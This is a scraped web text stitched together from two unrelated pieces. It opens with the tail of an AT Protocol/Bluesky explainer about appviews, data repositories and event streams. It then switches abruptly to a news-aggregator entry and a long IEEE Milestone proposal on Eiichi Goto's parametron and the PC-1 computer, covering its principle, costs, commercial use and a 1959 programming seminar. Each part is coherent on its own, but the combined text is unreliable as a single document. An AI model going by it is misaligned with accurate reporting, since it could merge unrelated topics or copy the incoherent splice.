Since we're making a new app, we're going to want two things: an app server (which hosts our API & frontend) and a view server (which collects data from the network for us). We often bundle the app & view servers, and so we can just call it an “Appview.” Let's start there:

A user logs into our app using OAuth. In the process, they tell us which server hosts their data repository, and they give us permission to read and write to it.

We're off to a good start — we can read and write JSON documents in the user's repo. If they already have data from other apps (like a profile) we can read that data too. If we were building a singleplayer app, we'd already be done.

But let's chart what happens when we write a JSON document.

This commits the document to the repo, then fires off a write into the event logs which are listening to the repo.

From there, the event gets sent to any view services that are listening — including our own!

Why are we listening to the event stream if we're the one making the write? Because we're not the only ones making writes! There are lots of user repos generating events, and lots of apps writing to them!

So we can see a kind of circular data flow throughout our decentralized backend, with writes being committed to the data repos, then emitted through the event logs into the view servers, where they can be read by our applications.

And (one hopes) that this network continues to scale: not just to add capacity, but to create a wider variety of applications sharing in this open applications network.

Building practical open systems

The AT Protocol merges p2p tech with high-scale systems practices. Our founding engineers were core IPFS and Dat engineers, and Martin Kleppmann — the author of Data Intensive Applications — is an active technical advisor.

Before Bluesky was started, we established a clear requirement of “no steps backwards.” We wanted the network to feel as convenient and global as every social app before it, while still working as an open network. This is why, when we looked at federation and blockchains, the scaling limits of those architectures stood out to us. Our solution was to take standard practices for high scale backends, and then apply the techniques we used in peer-to-peer systems to create an open network.

Ready to learn more?

Specs, guides, and SDKs can be found here.

The Daily Front Page 13 of 28
Monday, August 10, 2026 The Daily Front No. #260810 — Before the Transistor Won
article

Parametron: 50s Japanese computer that uses neither transistors nor vacuum tubes

by xeonmc·▲ 219 points·53 comments·ethw.org ↗
The parametron’s low cost and electrical stability shaped Japan’s early computer development.

Citation

The Parametron, a logic element using ferrite cores and parametric oscillation, was invented in 1954 by Eiichi Goto at the University of Tokyo. 4,200 parametrons went into the PC-1, Japan’s first university-built stored-program computer which became the nation's then-fastest in 1958. The parametron’s low cost and electrical stability shaped Japan’s early computer development and scientific research, and nurtured the country's first generation of computer engineers.

Street address(es) and GPS coordinates of the Milestone Plaque Sites

Science Gallery, 1st floor (ground floor) of Building 1, Faculty of Science, The University of Tokyo. Address; 7-3-1 Hongo, Bunkyo-ku, Tokyo 113-0033 Japan.

GPS coordinates; 35.7137465,139.7608399, Science Gallery, 1st floor (ground floor) of Building 1, Faculty of Science, The University of Tokyo.Address; 7-3-1 Hongo, Bunkyo-ku, Tokyo 113-0033 Japan.GPS coordinates; 35.7137465,139.7608399

Details of the physical location of the plaque

It is placed on the wall of so-called "Science Gallery" where many displays related to science are placed. See: https://www.s.u-tokyo.ac.jp/en/gallery/

How the plaque site is protected/secured

Visitors can come to the Science Gallery without security check.

Historical significance of the work

Justification of name-in-citation

Eiichi Goto: Pioneer of Parametron Technology and Early Computers

Eiichi Goto (1931–2005), a Japanese scientist, invented the parametron in 1954 as a graduate student and spearheaded the development of the PC-1, the first fully programmable stored-program computer at a Japanese university to utilize this technology, completed in 1958. His innovations catalyzed advancements in Japan’s post-war computer industry, enhancing scientific research and industrial capabilities during a critical period of technological recovery.

Invention of the Parametron

In 1954, Eiichi Goto invented the parametron, a logic device leveraging nonlinear parametric oscillation with two ferrite cores [9, 16, P1–P2]. Unlike the vacuum tube and early transistor circuits prevalent at the time, the parametron offered remarkable stability, requiring minimal maintenance compared to vacuum tubes with short lifetime and costing significantly less than both vacuum tubes and nascent transistors. Its simplicity and reliability made it an ideal foundation for computer design. Early applications showcased its superior fault tolerance over competing technologies, such as vacuum tubes with relatively short-lifetime, slow electromechanical relays, and unstable point-contact transistors. Driven by a desire to construct an electronic computer within the constrained budget of Takahasi’s laboratory at the University of Tokyo, Goto and his mentor, Takahasi, exhaustively had explored affordable solutions; the parametron emerged as a breakthrough, laying a critical foundation for Japan’s post-war computing advancements.

Development of the PC-1 Parametron Computer

In 1957, Eiichi Goto led the development of the PC-1, a pioneering fully programmable stored-program computer powered by 4,200 parametrons [4–9, 11]. PC-1 began its operation on March 26, 1958.

Representing a significant advancement in post-war Japanese computing, the PC-1 outperformed emerging transistor-based systems in stability and featured a meticulously crafted instruction set, created by study of machines like the EDSAC ([12] The Preparation of Programs for an Electronic Digital Computer, M. V. Wilkes et al., 1951) by Goto, Takahasi and the rest of the team. The parametron’s inherent stability and multi-input capability enabled reliable, straightforward logic circuit design, exemplified by the fast arithmetic circuit that utilizes carry select mechanism, which can handle the carry propagation in O(log(N)) logic step or time where N is the bit length, that took advantage of majority logic, and the 1959 implementation of an interrupt function—among the earliest of its kind—facilitating multitasking between the main program and I/O handling. Unlike the complex, maintenance-intensive vacuum tube computers of the era (vacuum tubes had relatively short lifetime compared with other circuit element, thus the necessity of replacement of a few vacuum tubes a day for constant operation), the PC-1 achieved high reliability with fewer components, low power consumption, and exceptional fault tolerance, ensuring sustained operation in a university laboratory environment.

0016 09 l.jpg

Photo 1 Eiichi Goto and the PC-1 Parametron Computer (Source: Information Processing Society of Japan)

0016 12 I.jpg

Photo 2 Eiichi Goto adjusting the memory section of Parametron computer PC-1 (Source: Information Processing Society of Japan)

PC-1 was used by many scientific researchers after it became operational in March 1958. It had profound impact on the Japanese computer industry and scientific community. Details of the PC-1, especially the software side, are thoroughly described in Eiiti Wada's lecture materials from the Parametron Memorial Lecture held in 2008, commemorating 50 years since PC-1's implementation [11]. Libraries and calculation done on PC-1 are summarized in Appendix II.

Influence of Parametron Technology and Goto's Achievements

The parametron’s affordability, minimal maintenance, and operational stability swiftly captured Japanese industry's attention following Goto’s initial presentation at a Japanese conference. Commercial entities soon adopted the technology, developing and marketing computers and calculators based on it (see Appendix I for examples). Some models sold more than 700 units back then.

At a time when vacuum tubes with the inherent short life cycle demanded frequent upkeep and early transistors proved costly and unreliable, the parametron filled a critical niche, earning Goto the prestigious IRE Browder J. Thompson Memorial Prize in 1961 [A1] for his seminal paper, “The Parametron, a Digital Computing Element Which Utilizes Parametric Oscillation” [Proc. IRE, Aug. 1959]. This award underscored the technology’s profound impression on both industry and academia, cementing Goto’s reputation as a visionary innovator.

In Japan, he was awarded the prestigious Asahi Prize in 1959. This was for his contribution to PC-1. [A2] The Asahi Prize (朝日賞, Asahi Shō), established in 1929, is a prize presented by the Japanese newspaper Asahi Shimbun and Asahi Shimbun Foundation to honor individuals and groups that have made outstanding accomplishments in the fields of arts and academics and have greatly contributed to the development and progress of Japanese culture and society at large. (from Wikipedia, https://en.wikipedia.org/wiki/Asahi_Prize).

Conclusion

The parametron profoundly shaped Japan’s post-war computer industry, with its influence extending internationally through U.S. patents [US Patent 2,948,818 and 2,948,819]. As its sole inventor, Eiichi Goto elucidated its principles in his landmark IRE paper and led the Takahasi Laboratory team at the University of Tokyo in creating the PC-1. Given his pivotal role in this enduring technological achievement, Goto’s name merits inclusion in the IEEE Milestone citation, honoring his lasting legacy in computing history.

Historical Significance

Background

The parametron is a logic element that utilizes the parametric excitation phenomenon, leveraging the non-linear magnetic response of ferrite cores. It was invented in 1954 by Eiichi Goto, who was then a graduate student at the University of Tokyo's Graduate School of Science.

In the 1950s, when computers were in their infancy, constructing a flip-flop in Japan cost around 1,000 yen for a vacuum tube and several thousand yen for a transistor. At the time, point-contact transistors were unreliable and unstable. The earliest junction-type transistors coexisted with point-contact transistors and were slow, so despite the instability, point-contact types were used for computers.

At the Takahasi Laboratory of the University of Tokyo, where Goto studied, there was a keen interest in computational machines. Various devices, such as a computer using a rotary switch from a telephone exchange and a decimal computer using decatron tubes, were examined and manually simulated. (An earlier study of information storage devices [1], and [2] are examined in Appendix IV to give an overview of the kind of theoretical and experimental study that were done before the invention of Parametron.)

Eiichi Goto's knowledge of physics and applied mathematics was invaluable during this time. Consideration was given to using ferrite cores [3], which cost only 5 yen each, leading to the concept of utilizing the parametric excitation phenomenon. Consequently, the element was named the parametron.

Inexpensive ferrite core

Back then (pre 1954), a vacuum tube cost 1,000 Japanese yen, and a transistor 8,000 yen. A ferrite core was mere 5 yen. Goto mentioned the price situation in a magazine interview (in Japanese) quoted below. The following English translation by the submitter is an excerpt from the interview in Japanese.: https://ascii.jp/elem/000/001/221/1221954/2/

   ——Why did you create parametron?
   
   At the time, there were no computers in Japan.*1 So we decided to
   make one at the Takahasi Laboratory at the University of
   Tokyo. But the university's research budget was not enough. At
   the time, vacuum tubes cost 1,000 yen each, and transistors cost
   8,000 yen each. Also, vacuum tubes wear out quickly. Transistors
   were still unstable. In comparison, ferrite cores, which had long
   been familiar in, say radio circuit construction, cost just 5 yen
   each. So I thought, why not use ferrite cores as the material?
   Ferrite cores are a stable material, and since they are made of
   pottery, they don't break if you make them right the first
   time. The name “parametron” was given because it uses the
   principle of parametric excitation.    
   *1 The first Japanese vacuum tube stored program computer was built in 1956
   (FUJIC). https://museum.ipsj.or.jp/en/computer/dawn/0010.html
   More on FUJIC in Appendix V for speed comparison.
   The first Japanese transistor stored program  computer was
   built also in 1956  (ETL Mark III):
   https://museum.ipsj.or.jp/en/computer/dawn/0011.html
   UNIVAC 120 was the first commercial electronic computer installed
   in Japan in 1955.:
   https://museum.ipsj.or.jp/heritage/UNIVAC120.html
   So, as Goto mentioned "There were no electronic computers in Japan"
   before 1954.
   
   Note: The submitter thinks Goto's recollection of 1,000 yen is a
   ballpark figure. 
   But the two order of magnitude difference (factor of
   200) is enough to show the cost merit of using ferrite cores.

A typical single parametric logic element used three cores (one larger core was added to merge the signals from input wires from multiple sources) , one capacitor and a resistor. Three such units were combined to create a circuit element to pass logic signal to the next parametron unit. Such a combination would NOT reach the price of a single vacuum tube alone. And the vacuum tube circuit also requires capacitors and resistors to boot. The difference of 1,000 Yen and 5 yen of main component is large.

Takahasi recalls that parametron element after assembly was sold at 500 YEN. He stated that a similar logic element device made of vacuum tubes would have costed more than 10,000 YEN, and the similar unit made of transistors would have costed too much to handle by a university laboratory (in [13], Birth of an Electronic Computer, page 62.)

Vacuum tubes and transistors were expensive, and ferrite cores were dirt cheap is the perception of Goto and others.

Structure and Principle of Parametrons

Two donut-shaped ferrite cores were each wound with a wire of the same number of turns. Two cores were required. The wire turns for two cores were configured in opposite directions, i.e. opposite directions in two cores, for exciting current and oscillation current. This is to isolate the primary and secondary parts: for example, it cancels the DC bias that changes the magnetic property of core. DC does not reach the oscillation part with the opposite twisting.

Note:This reversed turn is hard to recognize in figures at casual reading, but all the figures quoted try to stress this using various visual cues, but it is still subtle and easy to miss.

Parametron device.jpg

Figure 1 Parametron (Source: Information Processing Society of Japan)

Caption: Cores are visible on the vertical thick wires on the left and right (external exciting current wire), and the thin wires are signal wires.

When the resonant frequency of the circuit, composed of ferrite cores and parallel-connected capacitors, is f/2, then we apply external oscillation of frequency f to the ferrite core. These ferrite cores were connected in series. A single capacitor was connected to form a resonant circuit. An excitation wire passed through the core's hole, and when alternating current (precisely, a combination of direct current that changed the inductance of the core and alternating current) flowed through it, the magnetism of the ferrite core caused the resonant circuit to oscillate due to parametric excitation. Separate wires may be used for direct current and alternating current although most of the figures and diagrams in this application document seem to use one wire. Oscillation at half the frequency of the original external vibration is amplified and observed.

In Goto's parametron, information can be stored by correlating the logic states 0 and 1 with the difference of the phase of induced oscillation. There are two modes of oscillations that has the phase, exactly π apart. (So parametron has the inherent capability to keep a bit of information.)

Parametric oscillation can be found in many systems. For example, to move a swing in a park, we use parametric oscillation. The length of the rope or chain used to suspend the seat of a swing, or more precisely the distance between the center of the mass of the body plus the seat material and the horizontal bar from which the swing is suspended is a parameter of the oscillation. By moving our position up and down, we can change this distance of the center of the mass, thus changing the parameter of oscillation. By moving our body up and down once during a swing one way (this means we move our bodies TWICE up and down during the full one swing back and forth), we can excite the natural frequency of swing. The frequency of excitation (our body movement) is twice the frequency of swing.

0016 02 l.jpg

[Remarks] A matchstick is included in the photo for size comparison.

Photo 3 Parametron in PC-1 Computer (Source: Information Processing Society of Japan)

As described, in addition to the property of stabilizing into two clearly distinct states, the parametron exhibits an amplification effect where differences in the initial state during excitation determine the phase outcome. This is used for logical operation using majority logic.

The outputs from parametrons to another parametron where a new oscillation was to be started can decide the 0/1 state (the phase difference in the final stable oscillation) by majority logic, i.e., analog addition of the signals. With parametron that uses the phase of the oscillation to distinguish 0/1 value as digital signal, logical operations called "majority rule logic" can be performed. Goto and others developed the full theory of this majority rule logic based on parametron to design logic circuits. (More about the theory of majority logic in the Obstacle to overcome section.)

While parametron was developed through theoretical and experimental efforts, it was very fortunate that the very first ferrite cores used in the first experiment for parametron was a copper-zinc type, developed by Yogoro Kato and Takeshi Takei, which later turned out to be verified to be best suited for parametrons among comparable ferrite cores available at the time. Although manganese-zinc and nickel-zinc ferrite have superior properties for other applications, copper-zinc ferrite proved best for parametrons [5] [Note 8].

To facilitate large-scale use in computing machines, smaller cores were preferable for reduced power consumption, leading Tokyo Denki Kagaku (today's TDK Corporation) to manufacture cores with a diameter of 4 mm. Later, the PC-2 used a "binocular type core" specifically designed for parametrons.

Parametron-shaped-like-glasses.jpg

   Diagram: Parametron called as shaped like binoculars marked with red rectangle.
   4 φ core was the standard parametron initially.
   2 φ core was used for memory.
   Quoted from p.88 of Jiro Futami and Ryuji Shiozawa, "Parametron",
   Hitachi Review, Feb 1960, vol 34. p.88, Figure 1 and Figure 2.

A circuit diagram that uses the binocular type core is described in Appendix VI.

Parametron circuit

Parametrons are digital logic circuits that use nonlinear property of circuit. They were applied to the realization of logic circuits. They are characterized by high fault tolerance and low energy consumption in comparison to vacuum tubes.

Basic Structure and Operation of Parametrons

Parametrons are typically designed as two-terminal elements and are primarily constructed using capacitors and transformers. (There is also a resistor. See Appendix VI if you are curious electrical engineer.)

These elements transition between different "phase states," with the internal state changing in response to an external driving signal (input signal). Specifically, the amplitude and phase of the initial input signals, using by majority rule in the form of analog addition, determines the parametron to hold two stable states (0 and 1) distinguished by the phase difference of exactly Pi and can be used perform logical operations. (See the Goto's seminal paper [9] or slightly redacted explanation in Appendix V for more details. This application document summarizes the pros and cons of parametron in contrast to vacuum tubes, mechanical relays, and transistors for historical significance and the exact details of the operation is relegated to the original paper [9].)

The parametron circuit has the following characteristics:

(a) Nonlinear operation:

Parametrons respond non-linearly to external input signals. (The sum of the initial input signals determines the phase of the amplified induced parametric oscillation.) This property enables their use in majority logic circuits.

(b) Stability:

Parametrons are quite resistant to external noise and unstable signals, offering high fault tolerance.

(c) Low power consumption:

Parametrons consume very little power during operation, which made them particularly attractive in electronic circuits of the early days of computing. (This low power consumption is RELATIVE to the power-hungry vacuum tube of that day. It consumed much more power than today's power-efficient devices, especially when one tries to run parametron at high speed. More about this in the Obstacle to overcome section.)

Counting Circuit Using Parametrons

As a prototype of later computer, a simple counting circuit was developed using parametrons [3].

When parametrons were used to create the counting circuit, the design focused on the following key features:

(a) Counting circuits itself:

The parametron-based counting circuit combine multiple parametron elements to implement counting.

(b) Creation of Digital logic circuit:

Parametrons can serve as basic logic gates (e.g., AND, OR, NOT), which can be combined to create more complex computational circuits, such as adders and multipliers. But do note that parametron operates on the majority rule logic, not on the simple Boolean algebra. (Being unable to use Boolean algebra for parametron initially posed a slight difficulty in logic design. See Obstacle section for more detail.) Majority logic can mimic Boolean logic. So it can build any complex boolean logic circuit. What is more, sometimes, the majority logic simplifies the circuit very much: for example, the arithmetic unit that handles carry propagation quickly used the majority logic circuit to its advantage.

The success of the counting machine that used counting circuit based on parametron encouraged the people at Takahasi laboratory and thus the construction of fully programmable stored-program computer PC-1 began.

The Birth of Parametron Computer: PC-1

The PC-1 (Parametron Computer No.1) is a fully programmable stored-program computer for scientific computing, assembled in the Takahasi Laboratory, Faculty of Science, at the University of Tokyo. Using a total of 4,200 parametrons, production began in September 1957, and the first computation was performed on March 26, 1958.

   Note: A stored program computer had been created at NTT's Musasino
   Laboratory using parametrons in March 1957. One year early than
   PC-1.  It was called MUSASINO-1, and had only 32 words memory
   initially because the memory device for MUSASINO-1 came late.  32
   words were not enough for meaningful software development. The
   memory was expanded to 256 words one year later about the time
   PC-1 began full operation.  MUSASINO-1 was a handmade prototype
   and experienced many hardware failures. Thus, it caused
   significant maintenance burden. It was used only inside NTT's
   research. This usage pattern was unlike PC-1 which was used widely
   by researchers in and outside the University of Tokyo as explained
   later.  In this manner, MUSASINO-1 could not have much impact
   outside NTT whereas PC-1 had a big impact on Japanese computer
   scene.  (More information and links on this MUSASINO-1 and billing
   machine in Appendix I.)

0016 01 l.jpg

Photo 4 PC-1 Parametron Computer (Source: Information Processing Society of Japan)

[Remarks] Dr. Eiichi Goto (Left) and Prof. Hidetosi Takahasi (right) in front of Parametron computer PC-1

0016 03 l.jpg

Photo 5 Adder using parametron (Source: Information Processing Society of Japan) [This was built by Eiichi Goto himself as a prototype to build PC-1 according to the oral communication from Eiiti Wada who gave a lecture at the Plaque dedication ceremony on Nov 27, 2025.]

[Remarks] A vacuum tube is included in the photo for size comparison.

Subsequently, multiplication and division circuits were added, and finer adjustments were made to each part. Materials such as parametrons, exciters (the circuit that adds external oscillation to parametrons), and input/output devices were borrowed from the following companies.:

- Toyo Soda Industries,

- the International Telegraph and Telephone Company (today's KDDI),

- the Parametron Research Institute,

- Japan Electronics Instruments, etc.

Additionally, measuring instruments were borrowed from the Telecommunications Research Laboratory of the Nippon Telegraph and Telephone Public Corporation, and some were purchased with the Asahi Science Grant.

Such arrangement was necessary for the poor status of university laboratory back then.

It took a total of about 300 person-days to assemble the computer, with the parametron circuit wired by a worker experienced in wiring relays at Fuji Tsushinki (today's FUJITSU). The assembly and adjustment of the magnetic core memory device were performed by staff from Tokyo Denki Kagaku (Today's TDK Corporation).

The parametrons used in the PC-1 were of the early type, produced at different times and with irregular characteristics. Despite the challenge of assembling all circuits by hand in a university laboratory, there were no significant failures in 1958, except for issues with the exciter and the input/output device that used vacuum tubes.

Notably, the AC magnetic core memory device was surprisingly stable and reliable in comparison to similar devices. One reason for this stability was that, despite using 41 vacuum tubes in total, the main memory system adopted a circuit that applied error-correcting code to its operation, ensuring functionality even if one vacuum tube failed.

The performance figures of the PC-1 is detailed in the attached table. It used a binary representation internally. (Note that there were transistor-based computers that still used decimal digits representation internally at the time.) PC-1 was a fully programmable stored-program computer with fixed-point arithmetic only.

Wide Usage for Scientific Research and Training

In 1958, PC-1 was the fastest computer in Japan. *1 It was the only electronic computer available to researchers at the University of Tokyo. Thus it was used frequently by the researchers there and from other universities.

   *1: The fastest Japanese computer in terms of the speed of
   addition and multiplication by March 1958 (when PC-1 became
   operational) was FUJIC developed at Fuji Photo Film in 1956 using
   vacuum tubes. It had faster addition and multiplication
   instructions than PC-1. However, FUJIC was short-lived.  At the
   time Takahasi, Goto et al wrote "It (PC-1, proposer's comment) is
   the fastest computer in Japan at this time..."  in [5] (September
   1958), FUJIC had been mothballed to be donated to Waseda
   University in September of that year. So FUJIC was not
   operational.  FUJIC had maintenance issue because 2-3 vacuum tubes
   needed to be replaced each day [15]. This was typical maintenance
   burden of vacuum tube computers of reasonable size in that
   era. (Replacement was not cheap. Vacuum tubes were expensive!)
   Fuji Photo Film had used FUJIC for optical lens design. Once Fuji
   Photo Film decided to stop creating lenses, FUJIC was moved to one
   of its subsidies and then donated to Waseda University eventually.
   So PC-1 *WAS* the fastest operational computer of the time in
   Japan.  (See Appendix-V for more on the speed comparison and the
   history of FUJIC.)

In 1958, the PC-1 operated for 9-12 hours a day, with 5 hours dedicated to various numerical calculations for the Faculty of Science at the University of Tokyo. The remaining time was used for program research in the Takahasi Laboratory. From October 1958, about 10 hours per week were devoted to practical training for students.

Considering that PC-1 was maintained by graduate students at Takahasi laboratory, being able to run for close to half a day each day was a remarkable achievement showing the stability of parametron-based digital circuit.

In addition to using parametrons, the PC-1 had the following features [5]. (PC-2 built in 1960 is the successor of PC-1.)

Table 1 PC-1 and PC-2 Features

Parametron-PC-1-PC-2-comparison.JPG

  The characteristics of PC-2 (eventually built in 1960) in the table
  were according to the first design plan drafted in 1958. [5]

High-Speed Memory Device: AC magnetic core memory

For PC-1, an alternating current (AC) magnetic core memory device was used, a method invented in the Takahasi laboratory. Alternating current means the use of AC signal to read the data stored in core as the direction of magnetization. It used non-destructive read method as opposed to the direct-current destructive read method common to the core memory device used elsewhere in the world at the time.

The use of AC current for reading made the output quite friendly to the input to parametron device because the read signal from the core memory device was an oscillation wave, friendly to parametron, unlike the DC current reading method.

By finding excellent magnetic material suitable for this method through the help of TDK and using a address selection circuit that applied an error-correcting code at runtime, the device achieved exceptional stability and reliability. The storage device was relatively small and reported at the symposium on electronic computer storage in the fall of 1957 and the Annual Meeting of the Four Electrical Societies of Japan in May 1958.

Arithmetic Circuit

The arithmetic circuit employed a fast carry propagation circuit that handled carry separately. It was basically a carry lookahead circuit in today's parlance (maybe better called carry selection circuit that handles the carries in O(log(N)) logic step or time where N is the bit length of the number, and theoretically optimal), but back then there were some variations, and serious research was going on. Goto et al came up with their own implementation. The carry handling logic (carry selector) of PC-1 took advantage of the majority rule logic of parametron to implement such circuit in a better manner than mere boolean logic circuit. Some parametron elements in it accepted five inputs. Careful selection of the ferrite cores of the parametrons that generated the output fed to the five input parametron was necessary to make sure the majority logic worked as expected by tuning the input signal levels. (Thanks to the comment from a reviewer.)

Additionally, a control system was adopted that simultaneously managed ongoing calculations and those to be performed next. This was basically a pipelining at a very shallow depth of two. This improved the calculation speed of the parametron computer by 2 to 3 times compared to systems not using these methods, without significantly increasing the number of parametrons required. In 1958, the pipelining and other concurrent operation methods were being studied in many countries and could be applied to electronic computers using any type of logic element, not just parametrons.

Interrupt

Later in 1959, an interrupt circuit was installed in PC-1 so that the event from the attached tape reader "interrupted" the on-going execution of an instruction. When this happens, further interrupt was prohibited by a flip-flop, and then the next instruction address is saved into address 510, and a pre-installed interrupt handler whose address is in address 511 is invoked (actually basically control jumps to the address stored in 511). The flip-flop that inhibited the further interrupt was reset at the exit of the interrupt handler. In this manner, the pending input from tape reader could be handled, e.g., put into a ring buffer that is accessed both by the main program and the interrupt handler. This is basically the operation called later multi-tasking. PC-1 was one of the earliest computers to realize multi-tasking using interrupt.

Plan for PC-2

In 1958, Goto and others began planning to build a more powerful machine based on the experience and results of the PC-1. The machine was named PC-2. Although the computation and storage methods of the PC-2 were not substantially different from those of the PC-1, the plan was to increase memory capacity as shown in Table 1, provide a high-speed I/O device, and add a floating-point computing unit and an address translation mechanism.

This time, however, the construction was solely assigned to an external company.

PC-2 was completed in 1960: Funded by the Ministry of Education, it was jointly developed with Fujitsu. It was later commercialized as FACOM 202. (More information on this PC-2 and FACOM 202 in Appendix I.)

PC-2 was delivered to Takahasi laboratory. There, PC-2 continued the PC-1's tradition of wide usage by scientific researchers from all over Japan.

A commercial version of PC-2, FACOM 202, was delivered to the Institute of Solid State Physics of the University of Tokyo, and TOYOTA. At the Institute, it was used to calculate band energy of solid and contributed to the world class research. (There is a short description of how FACOM 202 was used at the Institute of Solid State Physics in the newsletter of the Institute, p. 17, No. 5, Vol 4, December 1964, in Japanese, available online at https://www.issp.u-tokyo.ac.jp/maincontents/docs/tayori/tayori04-5.pdf)

PC-1 as a research vehicle of parametron performed very well. It was finally disassembled when its power unit was rented to an exhibit done by physic students during an annual open house event at the University of Tokyo in May 1964.

Historical Impact of Parametron on Computers and others

The ability to build computers with a greatly reduced number of vacuum tubes and transistors led to the creation of many parametron-type computers in Japan at that time. Compared to relay-based systems, parametrons were faster and had no mechanical contacts that were the source of many failures, offering great advantages.

Despite the relatively short period of time while parametron enjoyed success, these computers were sold in large numbers the market. A detailed list of these commercial computers is in Appendix I. There were many. Certain model was a best seller of the time, selling more than 800 units in total.

Back in 1959 when the seminal paper of Goto [9] was published ("The Parametron, a Digital Computing Element Which Utilizes Parametric Oscillation", Proceedings of the IRE, Volume: 47, Issue: 8, pp. 1304 - 1316, August 1959), Goto mentioned the following. (Quote from the paper).

In 1954 the author discovered that a phenomenon called parametric oscillation, which had been known for many years, can be utilized to perform logical operations and memory functions, and gave the name "Parametron" to the new digital component made on this principle [1], [21]–[23].(Proposer's note: the reference numbers are original paper's.).

A digital computing circuit made of parametrons may consist only of capacitors, ferrite-core coils and resistors, while diodes and rectifiers may be dispensed with. The parametron, therefore, is considered to be extremely sturdy, stable, durable, and inexpensive. Owing to these advantages, intensive studies have started in several laboratories in Japan to apply parametrons to various digital systems. AT PRESENT, NEARLY HALF OF THE JAPANESE ELECTRONIC COMPUTERS IN OPERATION USE PARAMETRONS FOR LOGICAL ELEMENTS. (The EMPHASIS is by the proposer.) Further applications have been made to such devices as telegraphic equipment, telephone switching systems and numerical control of machine tools.

However, the rapid performance improvement of junction transistors, which became mainstream shortly afterward, outpaced parametrons in operating frequency. Transistors had broader applications, such as in radios and analog circuits also, while parametrons were dedicated to the use as logic elements. Thus the investment on R&D of transistors far outweighed that of parametron. By the mid-1960s, parametrons were almost entirely replaced by transistors and fell into disuse.

Non-computer applications of parametron

This application document so far focuses on digital computer applications of parametron. But there were digital circuits built using parametrons [13]. Here is a brief summary. In a sense, these are the devices where parametron logic element with ease of use and design, and durability shined.

- KDDI (its predecessor, KDD) built a machine to convert Morse code to Teletype character code using parametron. This converter was used for transmitting news messages from the Melbourne Olympic Games in 1956. It performed flawlessly without breakdown. Note that it was built in less than two years after parametron was invented.

The success of the converter encouraged KDDI to create further devices such as re-generative repeater for long distance transmission (to re-shape the received signal for relaying purposes), and automatic repeat-request machine (ARQ machine) for error correction/recovery of TELEX communication. The ARQ thus developed using parametron was the world's first electronic ARQ device and many ARQ units were exported. So parametrons WERE USED OUTSIDE JAPAN although the users were unaware of parametron usage. The first ARQ using parametron was created in 1956, only two years after parametron was invented. A written record exists to show that it was still in use by KDDI in 1977 at the latest, more than twenty years after its birth. It shows the robustness of parametron-based device. (More about these devices developed by KDDI in the entry of KDDI in Appendix I.)

- Numerical control of machining devices were also built using parametrons. Numerical control was used to position the machining tools precisely to create desired shapes. Before that, the machining devices mimicked the desired movement using curved template. Creating the curved template was a very time consuming task and the resulting accuracy was not quite good for modern aerospace industry, for example. Thus numerical control of machining device, initially developed and popularized by MIT researchers, was a hot topic circa 1950s and early 1960s. Numerical control device was researched and built in Japan. A device is mentioned in Hitachi's entry in Appendix I since Hitachi collaborated with the researchers at the Japanese government institute called Agency of Industrial Science and Technology to create the device in 1956. However, later devices deployed in the field used transistor and germanium and parametrons were not used.

Fujitsu also developed a numerical control unit that used parametrons in 1956 as a prototype for later deployment. But again, later models deployed and commercialized did not use parametrons. This device is discussed in Fujitsu's entry in Appendix I.

Technology landscape was changing rapidly around the year 1960.

- A very unique use was to detect the inter automobile distance to prevent car collisions. Wire loops as part of parametric oscillation were buried under the road. When a car approaches the loop, its loss of high frequency response and this was detected by the change in parametric oscillation strength and thus the distances between cars can be measured. (This is basically what is done today for car position detection although no one thinks of saying that we use parametron although Electromagnetic principle remains the same.) Unfortunately, not much information on this usage back in 1950s and 1960s is available online.

Some of the developed devices were used late into middle of the 1970s (according to a reviewer), and it is true that parametron-based ARQ by KDDI was still in use in 1977 according to the record kept at a government website. (See KDDI entry in Appendix I.)

Nurturing the new generation of computer engineers and users

Parametron's impact was also human resources and science computing via the parametron computer, PC-1. Many future computer scientists/engineers were born among the early users of PC-1, the stored-program parametron computer at the University of Tokyo. Many of them were graduate students there and at other universities. Also, many researchers created scientific computation library routines.

Only very sketchy information in the early days of PC-1 computing remains today. But there is a record of a seminar on programming organized by the Japanese Society of Physics in 1959. This is possibly one of the first such computer training seminar in Japan according to Takahasi [13].

That used PC-1 as the target computer to write programs. Below the agenda of the seminar is quoted.

Parametron-computer-training-by-Physical-Society-of-Japan.JPG

   The timetable of the seminar in 1959.
   
   Quoted from "TOYOTA and parametron electronic computer FACOM 202",
   Yoshihiro Ishibashi, available online at:
   https://www.toyotariken.jp/_/media/page/about/research-report/pdf/Toyota-Report_No.77_62.pdf

The seminar was held from Aug 31 to Sept 7 in 1959. Below the titles (translated in English) and speakers of the lectures are quoted. (The original printed agenda is scanned and OCR version is available in [14] IIJLAB 2008, パラメトロン計算機 PC-1 1958-2008 パラメトロン計算機記念会, "Parametron computer PC-1 1958-2008" by Parametron computer anniversary committee in Japanese, https://www.iijlab.net/~ew/pc1/pc150th.pdf)

This shows the impact PC-1 had on Japanese academia, in this case to physical sciences. The title of each lecture and the name of the lecturer is given below.

   Introduction to Electronic Computing by  Hidetosi Takahasi
   Arithmetic Instructions for the Parametric Computer PC-1 by Eiichi Goto
   Experience in using electronic calculators by Takehiko Shimanouchi
   Applications to Geometric Optics, etc. by Bunji Okazaki
   Application to Crystal Analysis by Yoshio Takeuchi
   Numerical Analysis for Computers I (Linear Computation) by Shigeichi Moriguchi
   Numerical Analysis for Computers II (Numerical Integration and Differential Equations) by Ayao Amemiya and Masataka Ariyama
   How to make programs (flow charts and their examples) Yoshihiro Ishibashi
   Application to Meteorology by Kikuro Miyakoda
   Application to Fluid Mechanics by Isao Imai
   How to program (how to use subroutines) by Takashi Soma
   How to make programs (how to make tapes using R0 R1) by Keisuke Nakagawa
   Electronic Computing in Universities I by Yonezo Morino
   Electronic Computing in Universities II by Mitsuro Omori and Shigetoshi Katsura
   Monte Carlo Method by Yoichi Fujimoto and Eiichi Goto
   Applications to Quantum Mechanics by Masao Kotani
   Applications in OR and Control Engineering by Koh Hosaka
   How to find errors in programs by Eiiti Wada
   Future computers and programming by Hidetosi Takahasi
   Panel Discussion "Current Status and Future of Computers"
   Chair: Takahiko Yamamouchi
   Panelists Takashi Isobe (The Univ. of Tokyo), Koh Hosaka
   (Technical Research Institute of the Japanese National Railways),
   Hidetosi Takahasi (The Univ. of Tokyo), Shigeichi Moriguchi (The
   Univ. of Tokyo), Masao Kotani (The Univ. of Tokyo), Hiroshi Wada
   (Electro-technical Laboratory, ETL), Zen'ichi Kiyasu (NTT),
   Takeshi Kayano (NTT)

Many names in the list of lectures would hold important positions later in the computer industry in Japan or academia, both in software and hardware area, and physical sciences and engineering. PC-1's legacy lived on after parametron fell into disuse.

